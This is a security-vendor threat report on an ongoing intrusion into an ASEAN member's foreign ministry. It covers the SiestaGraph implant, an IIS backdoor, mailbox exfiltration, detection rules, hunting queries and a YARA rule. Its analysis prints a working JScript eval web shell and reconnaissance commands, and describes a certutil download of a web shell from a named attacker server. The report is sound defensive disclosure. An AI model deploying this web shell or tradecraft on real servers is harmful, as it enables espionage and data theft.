            <link>https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</link>
            <guid>siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</guid>
            <pubDate>Fri, 16 Dec 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs is tracking likely multiple on-net threat actors leveraging Exchange exploits, web shells, and the newly discovered SiestaGraph implant to achieve and maintain access, escalate privilege, and exfiltrate targeted data.]]></description>
            <content:encoded><![CDATA[<h2>Key takeaways</h2>
<ul>
<li>Likely multiple threat actors are accessing and performing live on-net operations against the Foreign Affairs Office of an ASEAN member using a likely vulnerable, and internet-connected, Microsoft Exchange server. Once access was achieved and secured, the mailboxes of targeted individuals were exported.</li>
<li>Threat actors deployed a custom malware backdoor that leverages the Microsoft Graph API for command and control, which we’re naming SiestaGraph.</li>
<li>A modified version of an IIS backdoor called DoorMe was leveraged with new functionality to allocate shellcode and load additional implants.</li>
</ul>
<h2>Preamble</h2>
<p>In early December, Elastic Security Labs observed Powershell commands used to collect and export mailboxes from an internet-connected Microsoft Exchange server for the Foreign Affairs Office of an Association of Southeast Asian Nations (ASEAN) member.</p>
<p>In spite of diverse security instrumentation observed during this activity, the threat actors were able to achieve:</p>
<ul>
<li>The execution of malware on Exchange Servers, Domain Controllers, and workstations</li>
<li>Exfiltration of targeted user and group mailboxes</li>
<li>Deploy web shells</li>
<li>Move laterally to user workstations</li>
<li>Perform internal reconnaissance</li>
<li>Collect Windows credentials</li>
</ul>
<p>Because the intrusion is ongoing and covers almost the entire MITRE ATT&amp;CK framework, the analysis sections will use a timeline approach.</p>
<blockquote>
<p>For a deep dive analysis of the SIESTAGRAPH, DOORME, or SHADOWPAD malware families, check out our <a href="https://www.elastic.co/jp/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">follow on publication</a> that covers those in detail. In addition, there are associations between this campaign and others based on other observations and 3rd party reporting.</p>
<p><em>Updated: 2/2/2023</em></p>
</blockquote>
<h2>Analysis</h2>
<p>The investigation, which we’re tracking as REF2924, began with the execution of a Powershell command used to export a user mailbox. While this is a normal administrative function, the commands were executed with a process ancestry starting with the IIS Worker Process ( <strong>w3wp.exe</strong> ) as a parent process of <strong>cmd.exe</strong> , and <strong>cmd.exe</strong> executing Powershell.</p>
<p>These events started the investigation that later identified multiple threat actors within the contested network environment.</p>
<p>The first events observed from this cluster of activity were on November 26, 2022, with the detection of a malicious file execution on a Domain Controller. Because of this, it is likely <a href="https://docs.elastic.co/en/integrations/endpoint">Elastic Defend</a> was deployed post-initial compromise and was deployed in “Detect” mode. Throughout our analysis, we observed other security instrumentation tools in the environment indicating the victim was aware of the intrusion and trying to evict the threat actors.</p>
<p>Because of the multiple malware samples achieving similar goals, various DLL sideloading observations, and the presence of a likely internet-connected Exchange server; we believe that there are multiple threat actors or threat groups working independently or in tandem with each other.</p>
<h3>November 26–30, 2022</h3>
<h4>Malware execution</h4>
<p>The earliest known evidence of compromise occurred on November 26, 2022, with the execution of a file called <strong>OfficeClient.exe</strong> executed from **C:\ProgramData\Microsoft** on a Domain Controller.</p>
<p>10-minutes after <strong>OfficeClient.exe</strong> was executed on the Domain Controller, another malicious file was executed on another Windows 2019 server. This file was called <strong>Officeclient.exe</strong> and executed from **c:\windows\pla**. On November 28, 2022, <strong>officeup.exe</strong> was executed on this same Windows 2019 server from **C:\programdata**.</p>
<p>On November 29, 2022, the <strong>OfficeClient.exe</strong> file was executed on an Exchange server as <strong>C:\ProgramData\OfficeCore.exe</strong>.</p>
<p>All three of these files ( <strong>OfficeClient.exe</strong> , <strong>Officeclient.exe</strong> , and <strong>OfficeCore.exe</strong> ) have an original PE file name of <strong>windowss.exe</strong> , which is the file name assigned at compile time. We are naming this malware family “SiestaGraph” because of the long sleep timer and the way that the malware uses the Microsoft Graph API for command and control.</p>
<p>As of December 8, 2022, we observed a variant of SiestaGraph in <a href="https://www.virustotal.com/gui/file/50c2f1bb99d742d8ae0ad7c049362b0e62d2d219b610dcf25ba50c303ccfef54">VirusTotal</a>, uploaded from the Netherlands on October 14, 2022. SiestaGraph makes use of a .NET API <a href="https://github.com/KoenZomers/OneDriveAPI">library</a> that functions as an alternative to using Microsoft Graph, which is an API to interact with Microsoft cloud, including Microsoft 365, Windows, and Enterprise Mobility + Security.</p>
<h4>Internal reconnaissance</h4>
<p>On November 28, 2022, the threat actor began performing internal reconnaissance by issuing standard commands such as <strong>whoami</strong> , <strong>hostname</strong> , <strong>tasklist</strong> , etc. These commands were executed with a process ancestry starting with the IIS Worker Process ( <strong>w3wp.exe</strong> ) as a parent process of <strong>cmd.exe</strong> , and <strong>cmd.exe</strong> executing the commands.</p>
<pre><code>cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources&quot;&amp;whoami

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources&quot;&amp;hostname

cmd.exe /c cd /d C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\Current\themes\resources&quot;&amp;tasklist
</code></pre>
<p>Additional adversary reconnaissance was performed to enumerate local network assets as well as victim assets at embassies and consulates abroad. There has been no indication that this information has been subsequently exploited for additional access or information at this time.</p>
<p>On November 29, 2022, the threat actor began collecting domain user and group information with the <strong>net user</strong> and <strong>net group</strong> commands, again issued as child processes of <strong>w3wp.exe</strong> and <strong>cmd.exe</strong>. These commands confirmed that this was not an entirely scripted campaign and included an active operator by the fact that they forgot to add the <strong>/domain</strong> syntax to two of the 20 <strong>net user</strong> commands. While the <strong>net user</strong> command does not require the <strong>/domain</strong> syntax, the fact that this was only on two of the 20 occurrences, it was likely an oversight by the operator. This was the first of multiple typographical errors observed throughout this campaign.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image5.jpg" alt="Example of a typographical error (“yupe” instead of “type”) showing an active operator" /></p>
<h4>Exporting Exchange mailboxes</h4>
<p>On November 28, 2022, the threat actor started to export user mailboxes, again using the <strong>w3wp.exe</strong> process as a parent for <strong>cmd.exe</strong> , and finally Powershell. The threat actor added the <strong>Microsoft.Exchange.Management.PowerShell.SnapIn</strong> module. This module provides the ability to manage Exchange functions using Powershell and was used to export the mailboxes of targeted Foreign Service Officers and saved them as PST files.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image11.jpg" alt="Abnormal process spawned from IIS Worker" /></p>
<p>In the above example, the <strong>Received -gt</strong> and <strong>Sent -gt</strong> dates timebox the collection window as all emails sent and received after ( <strong>gt</strong> is an acronym for “greater than”) November 15, 2022. The timeboxing was not uniform across all mailboxes and this process was repeated multiple times. Again, in the above example from November 28, 2022, the timebox was for all sent and received emails from November 15, 2022, to the current date (November 28, 2022); on December 6, 2022, the mailbox was exported again, this time with a <strong>gt</strong> value of November 28, 2022, which was the date of the last export.</p>
<p>In another example in this phase, the threat actors targeted a mailbox called <strong>csirt</strong>. While this is unconfirmed, “csirt” is commonly an acronym for Cyber Security Incident Response Team.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image6.jpg" alt="CSIRT mailbox exported" /></p>
<p>Taking into consideration the timebox used on the <strong>csirt</strong> export, if this is the industry standard acronym of CSIRT, the intrusion could have started as early as September 1, 2022, and the threat actors were monitoring the CSIRT to identify if their intrusion had been detected.</p>
<p>Throughout this phase, a total of 24 mailboxes were exported.</p>
<p>Once the mailboxes were exported, the threat actor created a 7zip archive called <strong>7.tmp</strong> with a password of <strong>huebfkaudfbaksidfabsdf</strong>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image4.jpg" alt="Creating password-protected Zip archive" /></p>
<p>Three of the mailboxes, one of which being the <strong>csirt</strong> mailbox, were archived individually. These three mailboxes were archived with a <strong>.log.rar</strong> or <strong>.log</strong> file extension.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image14.jpg" alt="Targeted mailboxes archived individually (partially obfuscated as two PST files have user initials)" /></p>
<p>Finally, the threat actor created a 200m 7zip archive called <strong>o.7z</strong> and added the previously created, password-protected, <strong>7.tmp</strong> archive to it.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image13.jpg" alt="o.7z created from 7.tmp" /></p>
<h4>IIS backdoor module</h4>
<p>On November 28, 2022, we observed the loading of two DLL files, <strong>Microsoft.Exchange.Entities.Content.dll</strong> and <strong>iisrehv.dll</strong> through the execution of the <strong>iissvcs</strong> services using <strong>svchost.exe</strong>. Both <strong>Microsoft.Exchange.Entities.Content.dll</strong> and <strong>iisrehv.dll</strong> were loaded using the <strong>iissvcs</strong> module of the Windows Service Host through the execution of <strong>C:\Windows\system32\svchost.exe -k iissvcs</strong>. These malicious IIS modules are loosely based on the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.doorme">DoorMe</a> IIS backdoor.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image2.jpg" alt="DoorMe strings embedded in IIS backdoor module" /></p>
<blockquote>
<p>For context, IIS is web server software developed by Microsoft and used within the Windows ecosystem to host websites and server-side applications. Starting on version 7.0, Microsoft extended IIS by adding a modular architecture that allows individual modules to be added or removed in order to achieve functionality depending on an environment’s needs. These modules represent individual features that the server can then use to process incoming requests.</p>
</blockquote>
<p>During the post-compromise stage, the adversary used the malicious IIS module as a passive backdoor monitoring all incoming HTTP requests. Depending on a tailor-made request by the operator, the malware will activate and process commands. This approach can be challenging for organizations as there is usually low visibility in terms of monitoring and a lack of prevention capabilities on these types of endpoints. In order to install this backdoor, it requires administrator rights and for the module to be placed inside the <strong>%windir%\System32\inetsrv</strong> directory, based on the observed artifacts we believe initial access was gained through server exploitation from a recent wave of Microsoft Exchange RCE exploit usage.</p>
<p>The malicious module (C++ DLL) is first loaded through its export, <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/pfn-registermodule-function">RegisterModule</a>. This function is responsible for setting up the event handler methods and dynamically resolving API libraries for future usage. The main functionality of the backdoor is implemented using the <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-class">CGlobalModule class</a> under the event handler <a href="https://learn.microsoft.com/en-us/previous-versions/iis/smooth-streaming-client/cglobalmodule-onglobalprebeginrequest-method">OnGlobalPreBeginRequest</a>. By overriding this event handler, the malware is loaded before a request enters the pipeline. The core functionality of the backdoor all exists in this function, including cookie validation, parsing commands, and calling underlying command functions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image10.jpg" alt="Class methods including malicious OnGlobalPreBeginRequest method" /></p>
<p>The malware implements an authentication mechanism based on a specific cookie name that contains the authentication key. This malicious IIS module checks for every incoming HTTP request for the specified cookie name, and it returns a success message in case of a GET request. The GET request is used as a way to test the backdoor’s status for the operator, and it also returns back the username and hostname of the impacted machine. Commands can be passed to the backdoor through POST requests as data.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image8.jpg" alt="GET HTTP request with the authentication cookie" /></p>
<p>Throughout our analysis, we discovered old samples on VirusTotal relating to this backdoor. Although they have the same authentication and logic, they implement different functionalities. The cookie name used for authentication was also changed alongside the handled commands.</p>
<p>This observed backdoor implements four different commands, and the symbol PIPE is used to separate the command ID and its arguments.</p>
<table>
<thead>
<tr>
<th>ID</th>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x42</td>
<td>Expects the string GenBeaconOptions</td>
<td>Generates a unique Globally Unique Identifier used to identify the infected machine and send it to the attacker</td>
</tr>
<tr>
<td>0x43</td>
<td>Shellcode blob</td>
<td>Execute the shellcode blob passed as a parameter in the current process</td>
</tr>
<tr>
<td>0x44</td>
<td>N/A</td>
<td>Write and Read from a specified named pipe</td>
</tr>
<tr>
<td>0x63</td>
<td>Shellcode blob in chunks</td>
<td>Similar to command ID: 0x43, this command can receive a blob of shellcode in chunks when fully received</td>
</tr>
</tbody>
</table>
<p>From our analysis, it appears that this simplistic backdoor is used as a stage loader. It uses NT Windows APIs, mainly <strong>NtAllocateVirtualMemory</strong> , <strong>NtProtectVirtualMemory</strong> , and <strong>NtCreateThreadEx</strong> , to allocate the required shellcode memory and to create the executing thread.</p>
<h4>kk2.exe</h4>
<p>On November 30, 2022, an unknown binary called <strong>kk2.exe</strong> was executed on an Exchange server. While we have been unable to collect <strong>kk2.exe</strong> as of this writing, we can see that it was used to load a vulnerable driver that can be used to monitor and terminate processes from kernel mode, <strong>mhyprot.sys</strong>. It is unclear if <strong>mhyprot.sys</strong> is downloaded, or embedded into, <strong>kk2.exe</strong>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image3.jpg" alt="kk2.exe loading the vulnerable mhyprot.sys driver" /></p>
<p><strong>mhyprot.sys</strong> was detected by Elastic’s open code <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_VulnDriver_Mhyprot.yar">Windows.VulnDriver.Mhyprot YARA rule</a>, released in August 2022.</p>
<blockquote>
<p>For more information on how vulnerable drivers are used for intrusions, check out the <a href="https://www.elastic.co/jp/security-labs/stopping-vulnerable-driver-attacks">Stopping Vulnerable Driver Attacks</a> research Joe Desimone published in September 2022.</p>
</blockquote>
<p>As stated previously, we could not collect <strong>kk2.exe</strong> for analysis but it is likely that it used <strong>mhyprot.sys</strong> to escalate to kernel mode as a way to monitor, and if necessary, terminate processes. This could be used as a way of protecting an implant, or entire intrusion, from detection.</p>
<h4>Web shells</h4>
<p>The following section highlights multiple attempts by the threat actors to install a web shell as a back door into the environment if they are evicted. While speculative in nature, it appears that most of these attempts to load web shells failed. It is unclear what the reasons for the failures are. We’ll not cover every attempt at loading a web shell, as several of them were very similar, but we’ll highlight the shifts in approaches.</p>
<p>The first attempt was to use the Microsoft <strong>certutil</strong> tool to download an Active Server Pages (ASPX) file ( <strong>config.aspx</strong> ) from a remote host (<strong>185.239.70[.]229</strong>) and save it as the <strong>error.aspx</strong> page on the Exchange Control Panel’s webserver. Because this IP address is a <a href="https://threatfox.abuse.ch/ioc/1023850/">known</a> Cobalt Strike server, it may have been blocked by network defense architecture, leading to further attempts to overwrite <strong>error.aspx</strong>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image9.jpg" alt="Attempt to overwrite error.aspx with config.aspx from a known Cobalt Strike server" /></p>
<p>After attempting to use <strong>config.aspx</strong> from a Cobalt Strike C2 server, the threat actors attempted to insert Base64 encoded Javascript into a text file ( <strong>1.txt</strong> ), use <strong>certutil</strong> to decode the Base64 encoded Javascript ( <strong>2.aspx</strong> ), and then overwrite <strong>error.aspx</strong> with <strong>2.aspx</strong>. This was attempted on both the Exchange Control Panel and Outlook Web Access web servers.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image15.jpg" alt="Attempt to overwrite error.aspx with Javascript file" /></p>
<p>The Base64 encoded string decoded into the following Javascript:</p>
<pre><code>&lt;%@ Page Language=&quot;Jscript&quot; Debug=true%&gt;
&lt;%
var TNKY='nHsXLMPUSCABolxOgKWuIFeGVimhEjyzQrTvRcwafZdJDktqYpbN';
var ZZXG=Request.Form(&quot;daad&quot;);
var VAXN=TNKY(7) + TNKY(0) + TNKY(2) + TNKY(10) + TNKY(21) + TNKY(22);
eval(ZZXG, VAXN);
%
</code></pre>
<p>The preceding code is a simple web shell leveraging the <a href="https://learn.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/b51a45x6(v=vs.90)">eval Method</a>to evaluate JScript code sent through the POST parameter <strong>daad</strong>. Variations of this technique were attempted multiple times. Other attempts were observed to load <a href="https://github.com/ysrc/webshell-sample/blob/master/aspx/54a5620d4ea42e41beac08d8b1240b642dd6fd7c.aspx#L11">obfuscated versions</a> of the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.chinachopper">China Chopper</a> and <a href="https://malpedia.caad.fkie.fraunhofer.de/details/jsp.godzilla_webshell">Godzilla</a> <a href="https://github.com/tennc/webshell/blob/master/Godzilla/123.ashx">web shells</a>.</p>
<h3>December 1–4, 2022</h3>
<h3>DLL side-loading</h3>
<p>On December 2, 2022, on two Domain Controllers, we observed a new DLL ( <strong>log.dll</strong> ) being side loaded by a legitimate, but an 11-year-old, version of the Bitdefender Crash Handler executable (compiled name: <strong>BDReinit.exe</strong> ), <strong>13802 AR.exe</strong>. Once executed, it will move to the **C:\ProgramData\OfficeDriver** directory, rename itself **svchost.exe** , and install itself as a service.</p>
<p>Once <strong>log.dll</strong> is loaded, it will spawn the Microsoft Windows Media Player ( <strong>wmplayer.exe</strong> ) and <strong>dllhost.exe</strong> and injects into them which triggers a memory shellcode detection.</p>
<p><em>Updated 2/2/2023: In our</em> <a href="https://www.elastic.co/jp/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns"><em>updated research into SIESTAGRAPH, DOORME, and SHADOWPAD</em></a><em>, we identify</em> _ <strong>log.dll</strong> _ <em>as part of the SHADOWPAD malware family.</em></p>
<p>On December 2, 2022, another unknown DLL, <strong>Loader.any</strong> , was interactively executed with an Administrative account using <strong>rundll32.exe</strong>. <strong>Loader.any</strong> was observed executing two times on a Domain Controller and was then deleted interactively.</p>
<p>On December 3, 2022, we observed another malicious file, <strong>APerfectDayBase.dll</strong>. While this is a known malicious file, the execution was not observed. <strong>APerfectDayBase.dll</strong> is the legitimate name of a DLL in the import table of a benign-looking program, <strong>AlarmClock.exe</strong>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image7.jpg" alt="Import table for AlarmClock.exe" /></p>
<p>This naming appears to be an attempt to make the malicious DLL look legitimate and likely to leverage <strong>AlarmClock.exe</strong> as a side-loading target. Testing has confirmed that the DLL can be side-loaded with <strong>AlarmClock.exe</strong>. While not malicious, we are including the hash for <strong>AlarmClock.exe</strong> in the Indicators table as its presence could be used purely as a side-loading vehicle for malicious DLL, <strong>APerfectDayBase.dll</strong>.</p>
<h2>Victimology and targeting motivations</h2>
<h3>Diamond model</h3>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/ref2924_diamond.jpg" alt="REF2924 diamond model" /></p>
<h3>Victimology</h3>
<p>The victim is the foreign ministry of a nation in Southeast Asia. The threat actor appeared to focus priority intelligence collection efforts on personnel and positions of authority related to the victim's relationship with <a href="https://asean.org/what-we-do">ASEAN</a> (Association of Southeast Asian Nations).</p>
<p>ASEAN is a regional partnership union founded in 1967 to promote intergovernmental cooperation among member states. This has been expressed through economic, security, trade, and educational cooperation with expanding international and domestic significance for partner nations. The union itself has expanded to 10 member countries with 2 more currently seeking accession. It is exerting this international influence over the development of a Regional Comprehensive Economic Partnership trade agreement with a broader periphery of member nations (16 members and 2 applicants).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry/image12.jpg" alt="ASEAN and RCEP member countries" /></p>
<p>Below is a list of the targeted users, the collection window(s) in which their mailboxes were exported, and the date their mailboxes were exported.</p>
<table>
<thead>
<tr>
<th>User</th>
<th>Collection Window</th>
<th>Collection Date(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>User 1</td>
<td>11/1/2022 - 11/28/202211/29/2022 - 12/6/2022</td>
<td>11/28/202212/6/2022</td>
</tr>
<tr>
<td>User 2</td>
<td>11/1/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 3</td>
<td>11/1/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 4</td>
<td>11/15/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 5</td>
<td>11/15/2022 - 11/28/202211/29/2022 - 12/6/2022</td>
<td>11/28/202212/6/2022</td>
</tr>
<tr>
<td>User 6</td>
<td>11/15/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 7</td>
<td>11/15/2022 - 11/28/202211/29/2022 - 12/6/2022</td>
<td>11/28/202212/6/2022</td>
</tr>
<tr>
<td>User 8</td>
<td>11/15/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 9</td>
<td>11/15/2022 - 11/28/2022</td>
<td>11/28/2022</td>
</tr>
<tr>
<td>User 10</td>
<td>9/15/2022 - 11/29/2022</td>
<td>11/29/2022</td>
</tr>
<tr>
<td>User 11</td>
<td>9/15/2022 - 11/29/2022</td>
<td>11/29/2022</td>
</tr>
<tr>
<td>User 12</td>
<td>9/15/2022 - 11/29/2022</td>
<td>11/29/2022</td>
</tr>
<tr>
<td>User 13</td>
<td>9/1/2022 - 11/30/2022</td>
<td>11/30/2022</td>
</tr>
<tr>
<td>User 14</td>
<td>9/1/2022 - 11/30/2022</td>
<td>11/30/2022</td>
</tr>
<tr>
<td>User 15</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 16</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 17</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 18</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 19</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 20</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 21</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 22</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 23</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
<tr>
<td>User 24</td>
<td>11/29/2022 - 12/6/2022</td>
<td>12/6/2022</td>
</tr>
</tbody>
</table>
<p>As reflected above, we observed Users 1, 5, and 7 targeted twice each indicating that the contents of their mailboxes were of particular interest. This could be the result of pre-intrusion reconnaissance or once the initial traunch of mailboxes was reviewed by the threat actor, they decided to continue collecting on those users.</p>
<h3>Targeting motivation</h3>
<p>There is no indication this victim would provide any direct monetary benefit to an adversary. The attack appears to be motivated by the purpose of diplomatic intelligence gathering. There are a number of potential adversaries who would find a nation’s confidential diplomatic communications related to ASEAN, and by extension the RCEP, to be highly advantageous in furthering their own regional influence, national security, and domestic goals.</p>
<p>If the threat actor is excluded from ASEAN trade unions and depends on foreign aid from members of those trade unions, it could find confidential diplomatic information specifically related to ASEAN useful for negotiating or renegotiating trade agreements.</p>
<p>ASEAN member nations are rival claimants to territorial disputes in the South China Sea (SCS). ASEAN as an organization has not produced a unified front in the SCS dispute, with some members preferring direct nation-to-nation negotiations and some wanting ASEAN to negotiate as a whole. Diplomatic information from ASEAN member nations might provide the threat actor with useful information to influence decisions and negotiations around the SCS. The threat actor's interest in ASEAN and any individual member would almost certainly be multifaceted covering government functions from immigration to agriculture, to technology, to sociopolitical considerations such as human rights.</p>
<h2>Detection logic</h2>
<h3>Prevention rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_svchost.toml">Potential Masquerading as SVCHOST</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_binary_masquerading_via_untrusted_path.toml">Binary Masquerading via Untrusted Path</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_binary_masquerading_via_untrusted_path.toml">Process Execution from an Unusual Directory</a></li>
</ul>
<h3>Detection rules</h3>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_dcsync_replication_rights.toml">Potential Credential Access via DCSync</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_windows_service_via_unusual_client.toml">Windows Service Installed via an Unusual Client</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/initial_access_suspicious_microsoft_iis_worker_descendant.toml">Suspicious Microsoft IIS Worker Descendant</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/collection_winrar_encryption.toml">Encrypting Files with WinRar or 7z</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/collection_email_powershell_exchange_mailbox.toml">Exporting Exchange Mailbox via PowerShell</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/discovery_net_view.toml">Windows Network Enumeration</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/credential_access_copy_ntds_sam_volshadowcp_cmdline.toml">NTDS or SAM Database File Copied</a></li>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/defense_evasion_suspicious_certutil_commands.toml">Suspicious CertUtil Commands</a></li>
</ul>
<h3>Hunting queries</h3>
<p>The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>KQL query</h4>
<p>Using the Discover app in Kibana, the below query will identify loaded IIS modules that have been identified as malicious by Elastic Defend (even if Elastic Defend is in “Detect Only” mode).</p>
<p>The proceeding and preceding wildcards (*) can be an expensive search over a large number of events.</p>
<pre><code>event.code : “malicious_file” and event.action : &quot;load&quot; and process.name : “w3wp.exe” and process.command_line.wildcard : (*MSExchange* or *SharePoint*)
</code></pre>
<h4>EQL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar to the SiestaGraph backdoor and the observed DLL side-loading patterns.</p>
<pre><code># Hunt for DLL Sideloading using the observed DLLs:

library where
 dll.code_signature.exists == false and
 process.code_signature.trusted == true and
 dll.name : (&quot;log.dll&quot;, &quot;APerfectDayBase.dll&quot;) and
 process.executable :
           (&quot;?:\\Windows\\Tasks\\*&quot;,
            &quot;?:\\Users\\*&quot;,
            &quot;?:\\ProgramData\\*&quot;)

# Hunt for scheduled task or service from a suspicious path:

process where event.type == &quot;start&quot; and
 process.executable : (&quot;?:\\Windows\\Tasks\\*&quot;, &quot;?:\\Users\\Public\\*&quot;, &quot;?:\\ProgramData\\Microsoft\\*&quot;) and
 (process.parent.args : &quot;Schedule&quot; or process.parent.name : &quot;services.exe&quot;)

# Hunt for the SiestaGraph compiled file name and running as a scheduled task:

process where event.type == &quot;start&quot; and
 process.pe.original_file_name : &quot;windowss.exe&quot; and not process.name : &quot;windowss.exe&quot; and process.parent.args : &quot;Schedule&quot;

# Hunt for unsigned executable using Microsoft Graph API:

network where event.action == &quot;lookup_result&quot; and
 dns.question.name : &quot;graph.microsoft.com&quot; and process.code_signature.exists == false
</code></pre>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SiestaGraph.yar">SiestaGraph malware implant</a> and the <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_DoorMe.yar">DoorMe IIS backdoor</a>.</p>
<pre><code>rule Windows_Trojan_DoorMe {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2022-12-09&quot;
        last_modified = &quot;2022-12-15&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;DoorMe&quot;
        threat_name = &quot;Windows.Trojan.DoorMe&quot;
        reference_sample = &quot;96b226e1dcfb8ea2155c2fa508125472c8c767569d009a881ab4c39453e4fe7f&quot;
    strings:
        $seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
        $seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
